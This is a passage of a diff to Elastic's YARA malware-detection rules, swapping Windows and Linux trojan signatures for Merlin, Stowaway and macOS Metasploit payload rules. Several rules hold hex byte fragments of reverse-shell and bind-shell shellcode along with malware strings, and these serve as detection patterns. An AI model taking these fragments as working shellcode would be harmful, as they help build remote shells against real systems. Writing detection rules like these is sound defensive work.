+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Merlin.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d9955487f7d08f705e41a5ff848fb6f02d6c88286a52ec837b7b555fb422d1b6"
+		logic_hash = "f48ed7f19ab29633600fde4bfea274bf36e7f60d700c9806b334d38a51d28b92"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "1d8da6f78149e2db6b54faa381ce8eb285930226a5b4474e04937893c831809f"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "8496ec66e276304108184db36add64936500f1f0dd74120e03b78c64ac7b5ba1"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\netfilterdrv.pdb"
+		$a = { 54 24 38 48 89 5C 24 48 48 85 C9 75 62 48 85 D2 75 30 48 89 9C 24 C8 00 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Netfilter_1Cae6E26 : FILE
+rule ELASTIC_Multi_Hacktool_Stowaway_89F1D452 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Netfilter (Windows.Hacktool.NetFilter)"
+		description = "Detects Multi Hacktool Stowaway (Multi.Hacktool.Stowaway)"
 		author = "Elastic Security"
-		id = "1cae6e26-b0ce-4f53-b88d-975b52ebcca7"
-		date = "2022-04-04"
-		modified = "2023-06-13"
+		id = "89f1d452-f40b-47da-ba75-10c90d67c13b"
+		date = "2024-06-28"
+		modified = "2024-07-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_NetFilter.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e2ec3b2a93c473d88bfdf2deb1969d15ab61737acc1ee8e08234bc5513ee87ea"
-		logic_hash = "29c0edc03934e6e7275c3870a8808e03ec85dacb1f54e10efca3123d2257db98"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Hacktool_Stowaway.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c073d3be469c8eea0f007bb37c722bad30e06dc994d3a59773838ed8be154c95"
+		logic_hash = "c5db1335fea606ec32f7a6540ee4dee637dd2ad5aee27e092b89fa03ad085690"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "27003a6c9ad814e1ab2e7e284acfebdd18c9dd2af66eb9f44e5a9d59445fa086"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
+		tags = "FILE, MEMORY"
+		fingerprint = "313e22009ad758c0dd0977c274eb165511591e3d99a8e2dd4be00622668981da"
+		severity = 100
+		arch_context = "x86, arm64"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "multi"
 
 	strings:
-		$str1 = "\\Driver_Map.pdb"
+		$a1 = "Stowaway/share.ActivePreAuth" ascii fullword
+		$a2 = "Stowaway/agent/handler" ascii fullword
+		$a3 = "Origin: http://stowaway:22" ascii fullword
+		$a4 = "Stowaway/admin.NewAdmin" ascii fullword
+		$a5 = "Stowaway/global/global.go" ascii fullword
+		$a6 = "Stowaway/crypto.AESDecrypt" ascii fullword
+		$a7 = "Stowaway/utils.CheckIfIP4" ascii fullword
+		$a8 = "Exit Stowaway"
+		$a9 = "Stowaway/protocol.ConstructMessage" ascii fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		3 of them
 }
-rule ELASTIC_Windows_Trojan_Clipbanker_7Efaef9F : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_6Cab0Ec0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Clipbanker (Windows.Trojan.Clipbanker)"
+		description = "Detects Macos Trojan Metasploit (MacOS.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "7efaef9f-51cd-4fea-a48d-fa9d39cb735e"
-		date = "2022-02-28"
-		modified = "2022-04-12"
+		id = "6cab0ec0-0ac5-4f43-8a10-1f46822a152b"
+		date = "2021-09-30"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Clipbanker.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "02b06acb113c31f5a2ac9c99f9614e0fab0f78afc5ae872e46bae139c2c9b1f6"
-		logic_hash = "fa547d7c1623b332ef306672dd2293b44016d9974c1a3ec4b15e5ae0483ff879"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7ab5490dca314b442181f9a603252ad7985b719c8aa35ddb4c3aa4b26dcc8a42"
+		logic_hash = "c19fe812b74b034bfb42c0e2ee552d879ed038e054c5870b85e7e610d3184198"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fe0ec44f8707cd03f845dbea4ff5bb1b699db1b69b75f0365168a75cc8bb68a3"
+		fingerprint = "e13c605d8f16b2b2e65c717a4716c25b3adaec069926385aff88b37e3db6e767"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "C:\\Users\\youar\\Desktop\\Allcome\\Source code\\Build\\Release\\Build.pdb" ascii fullword
-		$b1 = "https://steamcommunity.com/tradeoffer" ascii fullword
-		$b2 = "/Create /tn NvTmRep_CrashReport3_{B2FE1952-0186} /sc MINUTE /tr %s" ascii fullword
-		$b3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0" ascii fullword
-		$b4 = "ProcessHacker.exe" ascii fullword
+		$a = "mettlesploit! " ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Clipbanker_B60A50B8 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_293Bfea9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Clipbanker (Windows.Trojan.Clipbanker)"
+		description = "Detects Macos Trojan Metasploit (MacOS.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "b60a50b8-91a4-49a7-bd05-fa4cc1dee1ac"
-		date = "2022-02-28"
-		modified = "2022-04-12"
+		id = "293bfea9-c5cf-4711-bec0-17a02ddae6f2"
+		date = "2021-09-30"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Clipbanker.yar#L25-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "02b06acb113c31f5a2ac9c99f9614e0fab0f78afc5ae872e46bae139c2c9b1f6"
-		logic_hash = "fe585ab7efbc3b500ea23d1c164bc79ded658001e53fc71721e435ed7579182a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L21-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7ab5490dca314b442181f9a603252ad7985b719c8aa35ddb4c3aa4b26dcc8a42"
+		logic_hash = "b8bd0d034a6306f99333723d77724ae53c1a189dad3fad7417f2d2fde214c24a"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "097bb88d8482a4915c19affc82750c7ee225b89f2611ea654cfc3c044aae0738"
+		fingerprint = "d47e8083268190465124585412aaa2b30da126083f26f3eda4620682afd1d66e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = { 40 66 0F F8 C1 0F 11 40 A0 0F 10 84 15 08 FF FF FF 83 C2 40 }
+		$a1 = "_webcam_get_frame" ascii fullword
+		$a2 = "_get_process_info" ascii fullword
+		$a3 = "process_new: got %zd byte executable to run in memory" ascii fullword
+		$a4 = "Dumping cert info:" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Clipbanker_F9F9E79D : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_448Fa81D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Clipbanker (Windows.Trojan.Clipbanker)"
+		description = "Detects Macos Trojan Metasploit (MacOS.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "f9f9e79d-ce71-4b6c-83e0-ac6e06252c25"
-		date = "2022-04-23"
-		modified = "2022-06-09"
+		id = "448fa81d-14c7-479b-8d1e-c245ee261ef6"
+		date = "2021-09-30"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Clipbanker.yar#L45-L63"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c"
-		logic_hash = "a71d75719133e8b84956ec002cb31f82386ef711fa2af79d204d176492cd354b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L44-L64"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7ab5490dca314b442181f9a603252ad7985b719c8aa35ddb4c3aa4b26dcc8a42"
+		logic_hash = "ab0608920b9f632bad99e1358f21a88bc6048f46fca21a488a1a10b7ef1e42ae"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd"
+		fingerprint = "ff040211f664f3f35cd4f4da0e5eb607ae3e490aae75ee97a8fb3cb0b08ecc1f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = { 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83 }
+		$a1 = "/Users/vagrant/mettle/mettle/src/process.c" ascii fullword
+		$a2 = "/Users/vagrant/mettle/mettle/src/c2_http.c" ascii fullword
+		$a3 = "/Users/vagrant/mettle/mettle/src/mettle.c" ascii fullword
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Clipbanker_787B130B : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_768Df39D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Clipbanker (Windows.Trojan.Clipbanker)"
-		author = "Elastic Security"
-		id = "787b130b-6382-42f0-8822-fce457fa940d"
-		date = "2022-04-24"
-		modified = "2022-06-09"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Clipbanker.yar#L65-L87"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c"
-		logic_hash = "88783bde7014853f6556c6e7ee2dfd5cd5fcbfb4523ed158b4287e2bfba409f1"
+		description = "Byte sequence based on Metasploit shell_reverse_tcp.rb"
+		author = "Elastic Security"
+		id = "768df39d-7ee9-454e-82f8-5c7bd733c61a"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L66-L85"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "140ba93d57b27325f66b36132ecaab205663e3e582818baf377e050802c8d152"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699"
+		fingerprint = "d45230c1111bda417228e193c8657d2318b1d2cddfbd01c5c6f2ea1d0be27a46"
+		threat_name = "MacOS.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$mutex_setup = { 55 8B EC 83 EC ?? 53 56 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? }
-		$new_line_check = { 0F B7 C2 89 45 ?? 0F B7 C2 83 F8 0A 74 ?? BA 0D 0A 00 00 66 3B C2 74 ?? 83 F8 0D 74 ?? 83 F8 20 74 ?? 83 F8 09 74 ?? }
-		$regex1 = { 0F B7 C2 89 45 ?? 0F B7 C2 83 F8 0A 74 ?? BA 0D 0A 00 00 66 3B C2 74 ?? 83 F8 0D 74 ?? 83 F8 20 74 ?? 83 F8 09 74 ?? }
-		$regex2 = { 6A 34 59 66 39 0E 75 ?? 0F B7 46 ?? 6A 30 5A 83 F8 41 74 ?? 83 F8 42 74 ?? 66 3B C2 74 ?? 83 F8 31 74 ?? 83 F8 32 74 ?? 83 F8 33 74 ?? 66 3B C1 74 ?? 83 F8 35 74 ?? 83 F8 36 74 ?? 83 F8 37 74 ?? 83 F8 38 74 ?? 83 F8 39 75 ?? }
-		$regex3 = { 56 8B F1 56 FF 15 ?? ?? ?? ?? 83 F8 5F 0F 85 ?? ?? ?? ?? 6A 38 59 66 39 0E 75 ?? 0F B7 46 ?? 6A 30 5A 83 F8 41 74 ?? 83 F8 42 74 ?? 66 3B C2 74 ?? 83 F8 31 74 ?? 83 F8 32 74 ?? 83 F8 33 74 ?? 83 F8 34 74 ?? 83 F8 35 74 ?? 83 F8 36 74 ?? 83 F8 37 74 ?? 66 3B C1 74 ?? 83 F8 39 75 ?? }
+		$a1 = { FF 4F E8 79 F6 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Getshell_F339D74C : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_7Ce0B709 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Getshell (MacOS.Trojan.Getshell)"
+		description = "Byte sequence based on Metasploit shell_bind_tcp.rb"
 		author = "Elastic Security"
-		id = "f339d74c-36f1-46e5-bf7d-22f49a0948a5"
-		date = "2021-10-05"
+		id = "7ce0b709-1d96-407c-8eca-6af64e5bdeef"
+		date = "2021-09-30"
 		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Getshell.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b2199c15500728a522c04320aee000938f7eb69d751a55d7e51a2806d8cd0fe7"
-		logic_hash = "77a409f1a0ab5f87a77a6b2ffa2d4ff7bd6d86c0f685c524e2083585bb3fb764"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/shell_bind_tcp.rb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L87-L106"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "56fc05ece464d562ff6e56247756454c940c07b03c4a4c783b2bae4d5807247a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fad5ca4f345c2c01a3d222f59bac8d5dacf818d4e018c8d411d86266a481a1a1"
+		fingerprint = "3eb7f78d2671e16c16a6d9783995ebb32e748612d32ed4f2442e9f9c1efc1698"
+		threat_name = "MacOS.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -86986,271 +90891,260 @@ rule ELASTIC_Macos_Trojan_Getshell_F339D74C : FILE MEMORY
 		os = "macos"
 
 	strings:
-		$a = { 00 00 FF E0 E8 00 00 00 00 58 8B 80 4B 22 00 00 FF E0 55 89 E5 53 83 EC 04 E8 }
+		$a1 = { FF 4F E4 79 F6 50 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Gh0St_Ee6De6Bc : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_F11Ccdac : FILE MEMORY
 {
 	meta:
-		description = "Identifies a variant of Gh0st Rat"
+		description = "Byte sequence based on Metasploit shell_find_port.rb"
 		author = "Elastic Security"
-		id = "ee6de6bc-1648-4a77-9607-e2a211c7bda4"
-		date = "2021-06-10"
-		modified = "2021-08-23"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Gh0st.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ea1dc816dfc87c2340a8b8a77a4f97618bccf19ad3b006dce4994be02e13245d"
-		logic_hash = "3619df974c9f4ec76899afbafdfd6839070714862c7361be476cf8f83e766e2f"
+		id = "f11ccdac-be75-4ba8-800a-179297a40792"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/shell_find_port.rb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L108-L127"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "fcf578d3e98b591b33cb6f4bec1b9e92a7e1a88f0b56f3c501f9089d2094289c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3c529043f34ad8a8692b051ad7c03206ce1aafc3a0eb8fcf7f5bcfdcb8c1b455"
-		threat_name = "Windows.Trojan.Gh0st"
+		fingerprint = "fbc1a5b77ed485706ae38f996cd086253ea1d43d963cb497446e5b0f3d0f3f11"
+		threat_name = "MacOS.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = ":]%d-%d-%d  %d:%d:%d" ascii fullword
-		$a2 = "[Pause Break]" ascii fullword
-		$a3 = "f-secure.exe" ascii fullword
-		$a4 = "Accept-Language: zh-cn" ascii fullword
+		$a1 = { 50 6A 1F 58 CD 80 66 81 7F 02 04 D2 75 EE 50 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_ATSZIO_E22Cc429 : FILE
+rule ELASTIC_Macos_Trojan_Metasploit_D9B16F4C : FILE MEMORY
 {
 	meta:
-		description = "Name: ATSZIO.sys"
+		description = "Byte sequence based on Metasploit vforkshell_bind_tcp.rb"
 		author = "Elastic Security"
-		id = "e22cc429-0285-4ab1-ae35-7e905e467182"
-		date = "2022-04-07"
-		modified = "2022-04-07"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_ATSZIO.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece"
-		logic_hash = "e3f057d5a5c47a1f3b4d50e2ad0ebb3a4ffe0efe513a0d375f827fadb3328d80"
+		id = "d9b16f4c-8cc9-42ce-95fa-8db06df9d582"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L129-L148"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8e082878fb52f6314ec8c725dd279447ee8a0fc403c47ffd997712adb496e7c3"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "21cf1d00acde85bdae8c4cf6d59b0d224458de30a32dbddebd99eab48e1126bb"
-		threat_name = "Windows.VulnDriver.ATSZIO"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "cf5cfc372008ae98a0958722a7b23f576d6be3b5b07214d21594a48a87d92fca"
+		threat_name = "MacOS.Trojan.Metasploit"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 41 00 54 00 53 00 5A 00 49 00 4F 00 2E 00 73 00 79 00 73 00 00 00 }
+		$a1 = { 31 C0 99 50 40 50 40 50 52 B0 61 CD 80 0F 82 7E 00 00 00 89 C6 52 52 52 68 00 02 34 12 89 E3 6A }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
+		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2014_3153_1C1E02Ad : FILE MEMORY CVE_2014_3153
+rule ELASTIC_Macos_Trojan_Metasploit_2992B917 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2014 3153 (Linux.Exploit.CVE-2014-3153)"
+		description = "Byte sequence based on Metasploit vforkshell_reverse_tcp.rb"
 		author = "Elastic Security"
-		id = "1c1e02ad-eb06-4eb6-a424-0f1dd6eebb2a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2014_3153.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "64b8c61b73f0c0c0bd44ea5c2bcfb7b665fcca219dbe074a4a16ae20cd565812"
-		logic_hash = "42e9de7f306343c4c3e7fd02b414b429faacb837fb2910f98f0c1519da40074c"
+		id = "2992b917-32bd-4fd8-8221-0d061239673d"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L150-L169"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "10056ffb719092f83ad236a63ef6fa1f40568e500c042bd737575997bb67a8ec"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2014-3153"
-		fingerprint = "a0a82cd15713be3f262021d6ed6572a0d4763ccfd0499e6b9374764c89705c2a"
+		tags = "FILE, MEMORY"
+		fingerprint = "055129bc7931d0334928be00134c109ab36825997b2877958e0ca9006b55575e"
+		threat_name = "MacOS.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 55 48 89 E5 48 83 EC 40 48 89 7D C8 48 8D 4D D0 48 8B 45 C8 BA 24 00 }
+		$a1 = { 31 C0 99 50 40 50 40 50 52 B0 61 CD 80 72 6D 89 C7 52 52 68 7F 00 00 01 68 00 02 34 12 89 E3 6A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Lady_75F6392C : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_27D409F1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Lady (Linux.Trojan.Lady)"
+		description = "Byte sequence based on Metasploit x64 shell_bind_tcp.rb"
 		author = "Elastic Security"
-		id = "75f6392c-fc13-4abb-a391-b5f1ea1039d8"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Lady.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c257ac7bd3a9639e0d67a7db603d5bc8d8505f6f2107a26c2615c5838cf11826"
-		logic_hash = "5160b6ab4800c72b48b501787f3164c2ba1061a2abe21c63180e02d6791a4c12"
+		id = "27d409f1-80fd-4d07-815a-4741c48e0bf6"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/osx/x64/shell_bind_tcp.rb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Metasploit.yar#L171-L190"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "b757e0ab6665a3e4846c6bbe4386e9d9a730ece00a2453933ce771aec2dd716e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "da6d4dff230120eed94e04b0e6060713c2bc17da54c098e9a9f3ec7a8200b9bf"
+		fingerprint = "43be41784449fc414c3e3bc7f4ca5827190fa10ac4cdd8500517e2aa6cce2a56"
+		threat_name = "MacOS.Trojan.Metasploit"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 57 72 69 00 49 3B 66 10 76 38 48 83 EC 18 48 89 6C 24 10 48 8D 6C }
+		$a1 = { B8 61 00 00 02 6A 02 5F 6A 01 5E 48 31 D2 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Setag_351Eeb76 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Metasploit_65A2394B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Setag (Linux.Trojan.Setag)"
+		description = "Byte sequence based on Metasploit stages vforkshell.rb"
 		author = "Elastic Security"
-		id = "351eeb76-ccca-40d5-8ee3-e8daf6494dda"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Setag.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "3519d9e4bfa18c19b49d0fa15ef78151bd13db9614406c4569720d20830f3cbb"
+		id = "65a2394b-0e66-4cb5-b6aa-3909120f0a94"
+		date = "2021-09-30"
+		modified = "2021-10-25"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stages/osx/x86/vforkshell.rb"
